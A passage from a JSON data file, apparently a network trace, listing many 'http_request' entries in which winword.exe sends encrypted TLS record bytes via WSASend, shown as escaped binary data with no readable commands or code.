  694. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,\\xb7\\xe0t\\x9d\\xfbw\\x17r\\xb1\\x01\\x03\\xbf\\xe4\\xdd\\x1c\\xf2\\xbe\\xf80\\x00z`\\x92r\\x84\\x81^e\\xdep\\xbd\\o/\\x92i\\x9b+.\\xc1\\x7f\\xf0\\x95\\xf0\\x8d\\xa6y,\\xc8ov\\x93\\x10\\x86\\xe1\\xe0\\xea\\xd9\\xeb^\\xd9\\xfd\\x92\\xd4\\xeb\\x01\\x89t\\x92\\x10\\xc0\\x18\\x08\\xbf\\xe5\\xbd\\xe6\\x86\\x85\\xd0{\\xebg\\xb0\\xbd\\xe5\n\\xf0\\xaf\\xdd\\x00j\\xe4\\x15\\xdf\\x1c\\xde\\x8b\\xc5\\xb5y\\xb0qb\\xb5\\x1d&\\x9d\\xc4\\xc4p\nx\\xdff\\x06\\xad\\xaep\\x9b\\xac\\x9a\\x82\\xc1a\\xc3\\xd2\\xc6\t\\xc3\\x86*\\xb7z\\x1d\\xe4k\\xc5\\xf0h\\xdei\\xa9u<\\x03\\x15k%s\\xb6\\xd3z\\x97#\\x12l\\xe77\\x85\\x99\\xb4\\xc0i=bj\\xc9\\x94\\x887\\xa4\\xb5:|\\x92\\xf7s\\xac$l\\x12/\\xfc\r\\xbami\\xcaf\\x00\n\\xd1\\x18\\xa2\\\\x87\\xdfz?og\\xa9)\\xa5f\\xe8\\x04\\x1d\\xdau\\xe3\\xa8]\\xada\\xf2\\xd8\\xd7\\x18<\\xdb\\x95\\x9b\\xa1s\\xaa\\xb6\\xa2\\xb4#\\xb0<2\\x84\\x92\\xc6\\xbe\\x8duc\\xa7\\xb5v\\xcd\\x90\nerr"
  695. },
  696. {
  697. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfd\\xb4\\x86\\xf7.)h\\xc5\\xf5\\x8d\\x15(r\\x18\\x8es\\xb1\\xbf\\xef(\\xac\\x80\\x07a\\xa9c\\xc2z\\xe0v#\\xa2\\x0b`bn\\x0e'\\xb6l\\xd3\\x83gx\\xcfn>u}-\\x88\\x7f\\xe2\\x1e)\\xc1\\x10c^\\x954\nk-\\x95i\\xe0r\\xbe_\\xb2km\\xe9\\xfa\\xc7<l\\x97\\xd0$\\xe7\\xdf]\\xe3\\xaa\\xb0\\xab\\xde^\\xf1\\xff\\xf2\\xc0{\\xe6\\xb6\\xd2\\xccdl\\xf7&\\x06\\x8e{w\\xf9?s$?pc\\xf3\\x8fh}*;\\x90\\xed\\x97\\xe2\\x91@\\xf1\\xe3w\\x11\\xc4\\x7f_\\x96dn(\\xac\\xaft\\\\x9a\\xc9\\x88\\xcc(\\xc0\\xa8\\xd8\\x98q\\xe2\n\\xba\\xfd\\xb2\\x10\\x81d\\xb5\\x0f\\x8d\\xe1\\xf8\\x97'.\\xfd\\xdc\\xb1x\\xb1\\x11\\x85\\x80\\xd5\\x18\\xeex\\x85\\xa0~\\x0ey\\xd6hn\\x18\\xb2=\\xec!\\xe7e\\xb2(!\\xc2\t\\x11\\xb1\\xd3|\n\\x83\\xff\\xa9\\xe7\\xd8\\xd90\\xff1\\x9c \\x12:\\x9f\"0\\xb5\\x15fx\\xea\\xcbu[\\x1d\\x1cg\\xc3>i\\xd96\\xf5\\x9d\n9f\\xc6n\\xe6p\\x91\\xdb\\xebj\\x82\\x01"
  698. },
  699. {
  700. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90\to\\x02\\xb0?\\x86\\xd9\\xc8\\xad\\xe8\\xd5'\\xbe\\x81d\\xdcnf35\\xf6x\\xe4j\\x8c\\x0c\\xa6\\x1c\\x07_\\x87\\x8d\\xdcqy\\xf72o\\x1c\\x1a\\xf5f\\x17q\\xfe\\xb0\\x82.5\\xf0\\xc66h\\x9a:\\xeb\\x16i\\x9c\\xbd\\xf8q\\xa7\\x01\\xeb\\xd6\\xac+\\xc8\\xc3\\x9b|\\xcb\t6\\x9d\\xc5/o\\xdas3e4g\\x1e\\x10\\xb8w\\x12\\xec\\x83\\x15\\xa2uf\\xce\\x92\\xe1\\xcd\\x1d\\x86\\xc9\\xb6u\\xead\\xae\\xe5\\x9b\\x17\\xcatg\\x97\\x7f\\x13z\\xa3\\xde\\x83\r\\xfbi\\x06\\x14\\x8a\\xed\\xac\\xa2\\xa2s\\x87\\x87\\xef\\xbbif\\xfb\\xf8\\x18\\xde\\xc1\\xb7\\x00\\x1b\\xdc\\xf1\\xef[\\x1b\\xb2\\xde\\xe68\\x8d\\x07p-p\\xa1:+po\\x9e$j\\xd8fd-\\x81\\xa0\\xca\\x89m\\x8d\\x92\\x10,m\\xd3\\xd2\\xc2]\\x96\\xd7\\xe7\\x9a0\\xcb\\x13\\x90n\\x16m9pa\"4\\x08\\x1ep\\xc5\\xcaol\\xdfltz\\xffbis\\x08\\xc6}\\xf2^`\\xbe\\xeek\\xa9\\x82\\xaa+\\xcaj\\xac_+z\\xb2|\\xd1\\x93\\xd9\\x8af\\xfe\\xdbl\\xf9\\xfam\\x1b"
  701. },
  702. {
  703. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1e\\xc5\\x17h\\xa1\\xe6\\xa5g!\\x1a\\xee\\xb2\\x1b\\xee\\x17\\xe4w\\x19\\xe92\\x02\\xc9\\xd0\\x81\\x18uyn\\xd8':\\xe7\\xe8\\x82\\xe42\\xc5s\\xea\\xdc\\x823\\xa2\\xe6=\\xbd\\x10\\xa2\\xc7(k<z\r\\x0c;}/\\xec}!\\x17c\\x01\\xe3q<?\\x19o\\xfd\\x83u\\xe3\\xc2a\\x19\\x92\t\\xf7\\xbdu'y\\x1a\\x93eu\\xd0\\xd5\\xdba\\x07n\\x9d}4\\xfd\\xffs\\\\xec_\\xdf\\xdfl\\xe1\\x11\\xe8qg\\x8a\\xf5\\xb78s@o\\xbfc\\xb9\t\n\\xf3g\\x8d\\x82\\xcf7y\\x90f\\xcc\\x93\\xcb\\x80\\xc7n\\x87\\x1f\\xc6\\xf2+\\xcd$\\xe0%\\x86u\\x17\\xc1x\\xd2\\x17e\\xb0\\xef.u\\xbe\\xb8\\xfbt*\\xcf\\x85\\x10\\x86k\\xbf`?b\\xf7\\x92>\\x1d\\xd4\\xc1(v]]\\xa8w\\x02\roz)ts\\x8e6/\\x82\\xa0\\xc8\\xc3t\\xebu\\xfb,6\\xa3}\\x12\\x80\\xe6\\xaae\\xac2l\\xbfz*{'<\\xfe\\x1c\\x82\\x9f\\xdel\\xec\\xf8\\xa9r\\xc5|\\x9f\\xdc\\xc0\\x8f\\x03,7\\x850\\x18q\\xd4q\\xe7k\\xe5\\xe4m"
  704. },
  705. {
  706. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0b#\\xec\\xbe\\x05?\\xef\\x11g\\xaft\\x96\\x93\\x16e\\x8b\\xb8\\xa2(\\x02\t\\xb7fk\\x89\\x1f\\x8ar\\xed\\xec\\x9d-\\xb5=\\x8cvl]\\xab\\xfb:l@\\xbf\\xd2_`\\x19@\\xb4\\xa0\\xe4y<\\xfaz\\x9c\\x81a\\x82z20\\xfe\\x81\\x80\r\\x99\\x89@\\xcb\\x8b\\x88\\xe8m5\\xf1g\\xe0p}\\xbfc\\xa6\\xaed[uyv\n\\xfc\\x86)9\\xcfn\\x10\\xdf\\xb1\\x8e\\x89\\xcd`\\xf2\\x0bh\\x11\\xe0z\\xbb\r\\x82\\xa9\\xafq\\xc1\\xc9?:s\\x03y\\x14fd\\xfb1=\\xdaf\\x11\\xfa\\x8a\\xb4tm.\\xd6gp8*\\x7fe\\x998\\xf5i3\\xcazbx\\x15\\x88u\\x11\\xcb@\\xaaa\\xe9\\x07\\xda$\\xa4\\xd4\\xb7l3fn$\\x06\\x15\\x1b\\x9dd\\xc2d\\x05fk|\\x93y\\x9a\\x15\\xa1\\xa7\\xeds\\x01\\xeb\\xb7\\xb0\\x08\\x18\\xb8\\xb6\\x96\\xe0\\x16\\xfd\\x9c\\x94\\x88,\\x13\\xe2\\xe3\\xb1c\\xe0+]\\x8f\\xbd-\\xb2-`\\xd9#\\xe6\\x9d\\xf9\\x98\\xc9\\x1et\\x1a4\\x03_\\xc4\\x08^e\\xa8pk\\xdbb\\x87\\x96\\xdb\\xf4\\xe8\\x92"
  707. },
  708. {
  709. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x80\\xfbr\\x9bt}$\\xdf\\xc7\\xad-mo\\xd1\\x94f\\xa4\\xa8\\xfc\\x8d|`1i\\xa2\\x99]\\x92\\xf9\\xe1\\xfc\\xf4?)\\xce\\x9a\\xcc\\xc4\\x01\\x81\\xfc:^mm=\\xa0\\x0c7\\x89\\x16\\xef\\x9d\\x80] r\\xa6\\x9a(2\\xdc7\\x8ex\\xe9\\xcc\\x94c6\\x9f\\xfax6\\x89\\xb3z\\xa0\\x08tc\\xd9>\\xf6q\\x1fa#\\xa9`\\x1c1p\\x99i\\xf0_\\x83\\xd7\\xb5y\\xc2c\\xc2xfk\\xbc\\x08\\xca$2\\x1d\\xe2\\xecs\\x89s\\x88\\xab\\x97\\x003\\x08\\xc6\\xb8k\\xe5]\\xc9\\xf7\\xd3\\xe9\\xd8\\x1d\\x16\\xdfu\\x0c\\xcf\\x8b\\xa1vu\\x14!x;\\x97fkn\\xa8_i|\\x1e\\x9a\\x00\\xdfg\\xf0\\xa9\\xb8\\xd2m1\\x94\\xe3jfa\\xa3u\\xfc\\x99\\x16\t\\x18\\xe6\\xdb\\x040e\\x89\\x9e\\x9a\\xb7\\xaf\\x11\\xa7\\xaceaj#3\\xf0\\xb3_\\x06\\x91\\x1c+\\x96\\xaf+\\xfeb\\xaa\\xbb\\x1b\\xb9\\xd6\\x87\\xdc\\xeb\\xd8\n\\x80<\\x9c\\x90#\\\\x92\\x90q\\xfbq\\xa1>\\x0e\\xfd\\xb9ks\\xce#\\xf0\\xe7\\xec\\x05\\xb8j\\xa5\\xa1\\x19\\xfa\\xc7\t"
  710. },
  711. {
  712. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xda\\xb0lwe\\xeb\\xb8,\\xa8`{=7\\xe35\\xf0<\\xbb|\\xc2\\x9e\\xb1c\\xce\\xa0\\xa7o\\xb2l\\xcb\\xaf\\xa5\\x8c[\\xb8\\x02j\\xf70l\\xbeu\\xd8u.\\x94\\x80\\xefq%\\x91w\\xd7=l\\xd8\\x93\\xc7@\\xa2\\x17\\xa0\\x83\t\\xd0\\xdatp\\xf4\\xf6\\xb7gj&\\xc8\\xa1\\xa7\\xd5\\xe0\\xec1\n\\xd0\\x94:\\x1e\\xf6\\x0e*:\\xe0\\xf6#v\\x83q,\\x1d\n\\xdc\\x0bm\\x84\\xee\\xf3\r\\x92\\xdf\\xaf\\xd3d\\xfb\\x13\\xde\\x9f~<\\x8b\\xec\\x0c\\x95h\\xa78\\xdal\\xcc\"i\\xde,_\\x12\\xd3\\x86i\\xe6\\x81\\xff\\x8b0\\xed\\x04o\\x9d\\xcc\\xa1b\\x9f\\x07\\x84a\\xb4\\xa6\\xa3m\\xe3\\x82g\\x024\\xa3\\xb4\\xa8\\x17\\xba\\\\xfd\\xd9{\\x07\\xa4\\x84\\xf8{\\xa7o;&\\x98|\\xe1\\xc8\\xf9\\x88~\\x17z\\x11\\xf9nb\\x1d\\xdec\\xe3\\xae\\x99?\\xfa\\x9f\\x05\\x97\\xa8\\x96\\xc1\\x05\\x17\\xaf\\x8eq{\\xf7\\x17\\xe8=\\x13\\xcc\\xb8\\xd1h?\\x10:\\x1a\\xf0\\x83\\xae\"\\xf2d\\xa0>\\x818(-\\x9b\\xa9\\x9b\\x9bno5y\\x92\\xf7\\x1b\\xc9\\x10:"
  713. },
  714. {
  715. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010et\\x8e10\\xfb\\xd5o{\\x99\\x06\\x1f\\xf4b\\xb0\\xf2\\x8c~\\xb0\\x8dh5cl\\xf2\\x9a\\xcek\\x1f\\xd8yk\\xb3\\xa6f!mu/\\xbe\\xb6=\\xd6\\x19\\x94\\x1cg@\\x0e<?\\xd2\\xfa\\xd9o\\xbe6\\xa9\\xf9\\x96w\\xc1uy\\x9ev\\x88\\x94y!\\x93\\xb5\\xe8\\xd9\\x880}\\xe5s\\xa3\\xf9\\xb0p\\x01\\xb0\\x8a\\x8f\\xa7\\x06\\x02\\x1c\\xa4\\x9f\\xf9\\x15efz\\xc3y(\\x1c\\x18m\\xdb=r\\xfd-\\xc8\\xa7\r\\xcc\\xddksb\\x87b\\xfei\\xfd\\x9d\\xee\\x1b\\xc9w\\x86)8[\"b\\xb9\\x9a's\\xa6sfd\\xf8c\\xed[\\x03\\x82\\xd6i}\\x84\\x03\\x98w\\x9d;\\xc0\\x1fy\\xaf\\xca\\xd8\\x1f\\x01)tm\\x14=%\\xa7+\\xa2}\\xcc\\xce\\xbao\\\\xe2q\\x1d~\\xad\"\\xeb^\\xac\\x02w\\xc5\\xf3,\\xfd\\xfd\\x12\\x8bklp\\x93\\x9c\\xe5\\xfb\\xd3\\xf5j\\xd2\\xe1\\xa3\\x07\nv9\\x8ew\\xf4\\x06\\xacz \\xcc3@*\\x1d\\x9a\\xdd\"\\xa4\\xb1\\x13\r\\xd0q\\xd2\\x8cb\\x02\\x0c\\x17\\xa2\\xf1\\xd2|e\\xbc\\xdf\\xa2#z"
  716. },
  717. {
  718. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k]\\x8a\\xc0y\\x7f\\xea\\x02fp0o\\xe1l|? \\xf1\\xb2<8w\\x9b!\\xea\\x08h\\xabp%\\xf3\\x9b\\x13\\xe1\\xaf\\xabq\\xdc\\x1b\\xa7\\x11o\\x07\t\\xc7\\x07\\x04\\x03\\x1cpgpa~\\x82\\x9d\\xc0)\\xfc$\\xef\\xcd\\x82g^d\\x16t^\\xeeu\\x18\\x99o\\xce\\xce\\x9e\\xab'2@}\\x16=\\xf4\"]\\xa7\\x08\\xb9\r\n\\xd4\\xb1u\\xfe\\xf33\\x92e\\xc3\\x10\\xc3\\xa7\\xf4\\xa4\\xd8\\x18;\\xdb\\xaa\\xe5\\xb2\\xe7\\xb3\\pg\\xd9t\\x0c\\x0by!\\xe0\n;\\xe2\\xfbs\\xd6\\xbb\\xf1m\\x12\\xde\\xf1\\x04n\\x0b\\xda\\x0fg\\x99\\xae\\x8c\\xe4\\xb8|\\xf6\\x8c\\x07\\xf7\\xa4\\xd2>w\\x97\\x98)\\xd2\\xf4\\xb3\\xb0w\\xb1\\x8e\\xe5\\xfc\\xd5tw\\xc0\\xf1\\xffn\\x7f\\xf8\\xd7s\\xb9\\xfa+\\xb5q\\xab\t4\\xd7\\x7f\\x979\\x83\\xaa\\x9fe\\x8b\\xe5\\xa9\\xd6\\xf4i\"\\xb4m\\xa3\\xdf\\x1b\\x1f\\xa4\\x0cz\\xed\\xe6\\x94\\xea\\x9a6\\x13\\xb1\\xb6\"\\x9c`\\xe3\\xcb\\x9e6\\x13r/\\x8f\\xc0ua\\x93\\xca\\x84\\xf1\\x1b\\x16\\xb8f\\xd4\\xf7#(u\\x02\\x87\\xb6"
  719. },
  720. {
  721. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\n\\x9f3\\x85b\\xff\\xadg\\x90k[\\xdck\\xcf\\xbb\\x1dw\\xc9\\xcd(\\x84(p\\x16j\\xa0\\xc3\\\\xe7\\x00\\x1e\\x04\\xa6\\x83]\\xbb\\xe0\\x15k\\x9f*[\\x18\\xf4,6o\\x9f\\xec\\x07\\xd7@:m\\xf7m2cl.\\xb0y\\x07u\\x8c\\xde\\x8b\\x07\\x8c\\xf4\\xd2\\x18\\x9b\\x84\\x89\\x9d\\xfa\\xd2u\\xd7'_\\x0f,[\\xbe\\x97\\xdc\\xff%vo\\xfb\\xd2\\xb2\\x13&iy\\xb7\"\\xe2\\xdf;\\xb6\\x18\\xbf\\x02\\x10\\xb4\\xf5\\x7f2&\\x9au\\xa0\\xe2\\xe4\\x19\\xc64i\\xea\\x14\\x10\\x10\\xa5\\x87\\xffzr\\xff-\\xf8\\xf2}|o\\x8b\\x9a\\xdb#\\x1f\\xdc\\xd6\\xd6!\\xc6\\xb1\\xaf\\xf9\\x86\\xed\\xc7\\xe7_\\xc2\\xaa\\xcc\\x1d\\x1d\\xc7\\xca\\xe6\\xe5tpxe\\x85\\xb4\\xcc\\xea\\x06\\x03\\xb2\\xeb\\xc2\\xffv1,\\xef@\\xf3z\\xb6\\xb6\\xf9\\xd7#\\xe9\\xb3.n\\x05\\x17\\x86\\x06p\\xfd\\xde\\x83~\\x81\\xbb\\xe0\\x9c\r\\x0b\\xd0\\x86\\xba\\x99\\xees\\xa4\\x0e\\xfe{\\xae\\xf6x\\xda\\xf2?\\xabscv\\x9eq\\xf6\\xf5\\x11\\x08n\\x1b\\xf5\\xcf\\xf8\\x86\\xea\\xaf4\\xe4\\x7f\\x89\\xe4\\xd9"
  722. },
  723. {
  724. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdd\\x8d2\\xc3\\xbe}\\xe7\\xa3\\xff\\xcd\\xc3\\xc2\\xec$r)\\xc7\\xb3\\x1e{\\xf7\\x83\\x8f$z\\xee\\x02\\xa8\\xb7\\\\xf6\\xf6h\\x85\\x83\\xb3s\\xf9\\x11\\xcf\n\tf\\xbb\\xd0\\xcavcw\\x81\"[\\xc9\\x17\\rz\\xcf]:\\xaex\\x84^\\x84\\x97\\xaa\\xb3\\xb11\\x12\\xc0\\xd3l\\x94j\\x03\\x18\\xc3 8\\xaal\\xc5\\xba\\xc2\\x7f\\x92xm\\xa9p\\xdf\\x06-\\xa2\\xffp29a<\\x9e\n\\xc9\\xbanxy\\xe7=\\xc2\\xb4\\xc0\\x87\\xbfcp\\x97\\x1a\\x9a\\x9c\\x1c\\x84f\n\\xdf\\xdd\\x94\\xe0\\xac\\x9c\\x11*\\x12\\xdc\\xf5#\r\\xb7\\x85\"[\\xd0\\\t\\x8buc\\x046\\xa3\\x01\\x14\\x98\\xbd\\xf5\\xda\\x8c\\x05b\\xee\\xc8\\xca\\xfa\\x98\\xa2ysy\\x9b\\xc9>\\xfd\\xd7\\xe4\\x06\\xf3\\xde\\x18@\\x1akd\\xda\\xfd/\\x01a\\x86@\\xb9b\\x943\\x7f\\xeb\\x85\\xf9\\x11 \\x8d\\x08\\xa6-\\xb6\\x9a\\~{c\\x8du\\xb3\\x00\\xbfs\\x92\\xc4\\x02n!w\\xcb\\xfeg`\\xd04\\xe7\\xe0\\xc6iel\\x1e\\xc2\\x02\\xb7\\x89\\xc4b \\x89\\xe3\\xb9\\xb2\\x16yz\\xc9"
  725. },
  726. {
  727. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8a\\x82\\xf8\\x1c\\xf7<ie\\xde\\xae\\xc1zu\\xf7\\xe1\\xa0z\\x1ae\\x87\\xbc\\x81\\x9d\\x03?\\x0e&1+\\xe2=\\xdb\\x08\\xe0\\xe7\\x90<py\\x04\\xa5\\xdca\\x98?\\xd7\\xa3\\xa3|,3\\xe9\\xac\\xa9\\xcd\\xce\\xf16\\xfa\\x7f7\\xe0p\\x81a\\xf0\\x9b\\x8b\\xeb\\x04ze|q\"*k\\xed+?ybk\\x89$\\xb6\\xe9a\\x8e\\x80\\xf2\\xe2}o\\x07n.\\x19~\\x83\\xcb\\xd8my/\\x99<\\x01\\xcc.\\x0e}\\xebp\\xb9\\x83\\xfe\\xe0hc\\xc8\\xe4b\\xd3\\xac\\xbe\\xf5\\x06\"x\\x87\\xe5\\x15\\xcc\\x03\\xe4\\x8d\\x8f\\xc0\\x81\\x8d'\t\\xccna\\x9a\\x15\\x04k\\xc1\\xdf?!\\xad\\x91\\x8fx\\xa4o`\\xd1\\xab\\x9fso]\\xe9\\x8a\\x92\\xd5j\\x83.h\\x8e\\xa2\\x9bg\\x93\\xf5\\xf8\\xe6t\\xb3/\\xa8\\xd8j\\x9f\\x94mm\\x88\\x90\\xca`\t\\x9f\\x0f\\x1e\\x1d\\x89\\xe8<*w\\x99\r\\xf0?\\xda:h\\xba/\\xd3(\\xf6\\x91\\xb4?\\xafj\\x87.7\\x92\\xfa\\x88\\xc1\\xfa\\x03k\\xde2\\xfa8\\x9c\\xef\\x034\\xea\\x0c\\xd4\"\\x84i\\xcdp\\xbc"
  728. },
  729. {
  730. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x81t\\x02\\xea\\xc9\\x86r\tq/\\x1b\\x8f\\xe5l1\\x82\\xb8f\\xa8\\xa0!\\xb6j]\\x04\n\\xf0:\\x05p\\x07\\xc1wwg\\xfc\\x9e\\xed\\x86{\\xe9\\xb3\\xba\\x1e\\xe5\\x17\\xdbc\\xf8:w\\xc6\\x19\\xbcw\\xb3g%\\xa2\\xd0\\xc6\\xa6:\\x91\\\\x80\\x9e\\xb8\\x02\\xeb\\xb4\\xa8\\xae\\xcddm\\xe1\\x1c~8\\x91t\\xd1t\\xd8\\x1d\\x16s\\xd2g\\xed2l\\x00m\\xf2h*\\xdd\\x8e]\\xe8#\\x12\\x16\\x9c+\\xccck\\xbd\\x12dfw\r\\x82\\xc8\\x95e\\xa3f\\x0b\\xa6\\xa9\\xb0\\xc5\\x04\\x94:\\xae\\xbb\\xdaz\\xf9\\xfa\\x9a\\xd2\"\\x17;\\xa1\\x01z\\x87\\x05\\x1dw\\x1d6$\\x92\\xad=\\x13\\xa3\\xb3u?=|\\xccq\\xf2\\xb0\\x9e|?\\xc19\\x8fxq7\n\\x02\\xee\\x9c\\x1f\\xa4\\xb3\\x8c\\xe97\\xe7kzu\\xd8:\\xb6\\xbbn\\x9f\\xbe\\xdb\\xec\\x8f\\x10\\xb2&\\xcc\\xe0\\x82e\\xdd\\xf2\\xcf)\\xd5\\xb4\\x93\\x83$\\xb0\\xb0p\\xe24\\x7f\\xed{\\xc0~\\xd6\\x05\\xa2xd\\xe2l\\x0ez\\x10i\\x93\\xd7\\xc0\\x8f\\x8f~j\\xab\\xba\\x8b\\x82\\xe6\\xbc\\xb2\\xfcs"
  731. },
  732. {
  733. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x04\\xfd\\xd2\\xab\\x1bs\\xd8\\x83\\xadd.u\\xf1q^\\xe6x\\x0cc\\xb9y\\x9f\\xc1,l\\xaab6\\x99\\x04\\xee\\xaf\\x7f\\xf4\\xa2p\\xe6$.\\xad*\\xd9^e\\x84\\xa1\\x1d\\xba\\xc8.o\\xab\\xb3y;\\xda;;\\x1b\\x96\\xfa\\x0e\\xd5!pc\\x02g\\xe5s\\xff8v\\xa8\\x8c\\xc0\\x9b\\xe0\\xcf\\x83n\\x93\\x83<\\x8076\\x80\\xed\\xbb\\x17j\\xcem\\xeb$\\x1b\\xea\\xbf\\xdf+\\xc8f\\x96\\xc6\\x14\\xb3\\x1b@\\xdf\\xfbx\\xcb\\xe4\\x08(v#i\\xf3\\xca_(\\xee\\x14\\xd7!\\x94u\\xae\\x8c[7rq\\x7f\\xc5)&[5\\xbd\\x81\\xcc\r\\x87q\\xfe\n+i\\x16\\xaa\\x10\\x87\\x99!\\xdf\\x9d\\x9f\\xfbu\\xef\\x817\r\\xd8\\x08\\x0f\\xcc\\xdb\\xe2\\xcf(f\\x1en\\x13\\xaf_*\\x949\\x95\\x0b\\x1f-fp\\x19{1\\xe2\\xbe\\xeez\\xfc\\x14\\xaf\\x10o\\xab\\xf0*\\xc0wwj\nak\\xa0nb(s \\x15\\x1a\\xa8\\xee\\xfcf\\x9a9\\xc3\\xca\\xec)\\x04\\x84\\xdc\\x94\\xe8\\xfb\\xfc!\\xcbr\\xe5\\xcfa\\x80\\xe9d,s\\xe3x\\xdd\\x11"
  734. },
  735. {
  736. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc3\\xd0.<@z\\xcc\\x83)\\xf1\\xb6x\\xaf\n\\x0e3\\x92bb\\xd6\\xbd\\xf3\\x88{\\xab\\xee\\x99\\xbd\\x03j`\\xaal\\xcb\\xac\\xef\\xa7\\x8d\\x83\\xaeg\\x11\\xbb-\\xb0n\\xcc\\xb9\\xc7\\x89\\x896\\xf0\\x9d\\x83\\x9f\\xab\\xdcq\\x99b\\xd9'\\x0b\\xd4\\xc2\\xc8\\e\\x1a>lw\\\\xcf3\\x88t:\\xa2\\x7f\\xe2\\x82o\\x03g\\xcc\\xe1-\\xb8m\\xfcyh\\x93\\xac\\xed\\xee\\x1a\\x9e\"\\xdd.y\\xe6j\\xf4\\xe6[\\xe4\\x16\\x96x\\xb7\\x93\\xe8\\x1e\\xbfd\\x850\\xed\\xc8w*\\xa46\\x931\\x1a\\xa8v\\xd1\\xc2a_/\\xd3\\xc6!\\x075\\xa7]ct2:\\xf3\\x87,\\x07\\xf53l\\xeak\\x82\\xc6\\xe7\\xa7\\x9c\\x052\\xf9\\x7f\\xb9,\\xe5\\xbedj%\\xf3\\x1a\\xdc\\xf2`\\xf4\\x9e$\\x9ek@b\\xe8|\\xb2i[d\\xf6\\xe6\\xf4te\\x15\\xb1qr\\xa4\\xe40\\x8di!\\x07\\xc0\\x93_v\\xc9\\xaa\\xb4\\x97\\xca\\xe7h\\xf5\\xec\\xc5\\x0f\\xf4\\x07\\xba\\x9f\\xcf\\xcc]m_\\xc1\\xa5\\x12\\xc6\\xee\\x9b\\xaf<\\xb3\\xae\\xa3i\\x04\\xe4sbl9xt"
  737. },
  738. {
  739. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101+\"\\xb2 \\xfb\\xab\\xc9n\\x1dq\\xc4m\\xff\\xc4g\\x1a\\x99\\xf6\\xac+m\\xdb{\\xe3\\x16\\xde\\xf2\\xdc\\xcb\\xd3\\xba#\\xe9w9p9c\\x9d.\\xc6\\x98gp\\xe7\\xd7\\xb6\\x94\\xc27\\xde\\xda\\xeb6\\x95w\\xb1u\\x95\ra38\\x18i='\\x1a\\xfe\\xa3\\x93\\x89\\xae\\xff\\xbc\t\\x8fr\\x96\"\\xee\\x886\\xfe\\x07\\xd6p\\x0f)z\\xbcc\\x83\\xb3\\xbdjemwh\\xae\\xa3\\xc2gdbt\\x9e\\x85as\\xecw\\xd0\\xc5\\xe5\\xbck\\xe8\\xfc@iy\\xcf&\\xb4\\xf3\\x11\\x9b\\x05\\x15\\x9a\\x80\\xdd\\xc4)\\xf2#xp\\x1e\\x7f\\xfc\"\\xbe\r\\xd2\\xb6\\xacr\\xe4n\\xcf2.t\\x03\\x95\\xecj<\\xec\\x9c\\x14f\\x8ao\\xa3\\xa3\\xd3\\x08'l8\\xab\\xad\\xaa\\x81h\\xb1\\x0e#(\\xa9\\xe9\\x10v]z\\xa1\\xfe\\x15\\x91`l-\\x85\\xa2\\xfc\\xc4\\x93\\xb3\\xf7\\xa3\\x970\\x08\\xdc\\xb8\\xa9\\x9a\\xc8>iv\\x0b\\xfb\\xeb)a \\x0b\\xf8h\\xd7\\xbb\\x1c\\xafy\\xe6\\x87\\xd2\\xb6\\x9e\\x9c\\x1ft\\xc6?\\xb9\\xfcf\\xa6r\\xca\\xa7g\\xea\\xaf?"
  740. },
  741. {
  742. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xefq\\xf2\\x84uj%\\xac>\\xa7\\x1d\t\\x07\\x96\\xd09;\\x8c0\\x05\\xf5\\xe9\\x13\\xb84\\x9d\\xa3\\x9f\\x0e\\x0f\\x92\\x84a\\xac\\x9fh\\x0fy\\x89\\x06wq\\x95\\x13\\x85\\xed!\\xe0\\x8a\\xc5\\x17\\xd4\\xf3\\x112\\xda\\x8c\\xeb{ \\xbb\\xe3\\xbf\\xcc\\x16$!\\xdbtr\\x0b\\xaa\\x98\\xf2\\xca\\xd4es[\\x1bz\\x81\\xed\\xb3\\xefm\\x1a\\xafqb\\xddu8x\\x07\\xdd\\xbd\\x88\rk0\\xfc\\x1am\\xa2r\\xe0\\x81\\xdb\\xb4\\xbf9\\x84\\xda1\\xf9\\xad\\xd1\\x92`8<\\xf4\\xd3\\x1cx\\xe1d\\xc2a6\\x86\\xbat\\xd4\\x0f\\xa1\\xe0\\xfe\\xee\\xd2\\x12,@\\x98\\xfa\\xcb6f\\x07\\x83j\\x9c\\xd1\\xbet\\x11!\\xee\\xc8^cy\\x16x\\xcf\\xfdpv{\\x8b\\x16\\x8fx(!\\xfc\\x19\\\\x98\\x8a\\x8e\\xd1b&;g\\x95\\xf8\\xa4\\xa2\\xcf\\xa2m*q\\xea>u\\xfe\\xf2nonaf\\xf4{jgxm\\xb1\\xb6(~\\xaf\\xc7\\x11`\\x0f\\xda\\xd9\\x19<q\r|}\\xc8\\xa8@\\xad\\xcb6\\xae\\xf89\\xb4\\xe3\\xff\\xc9`\\xd1\\xcc\\xc9\\x87\\xf3$\\xd1\\xf3"
  743. },
  744. {
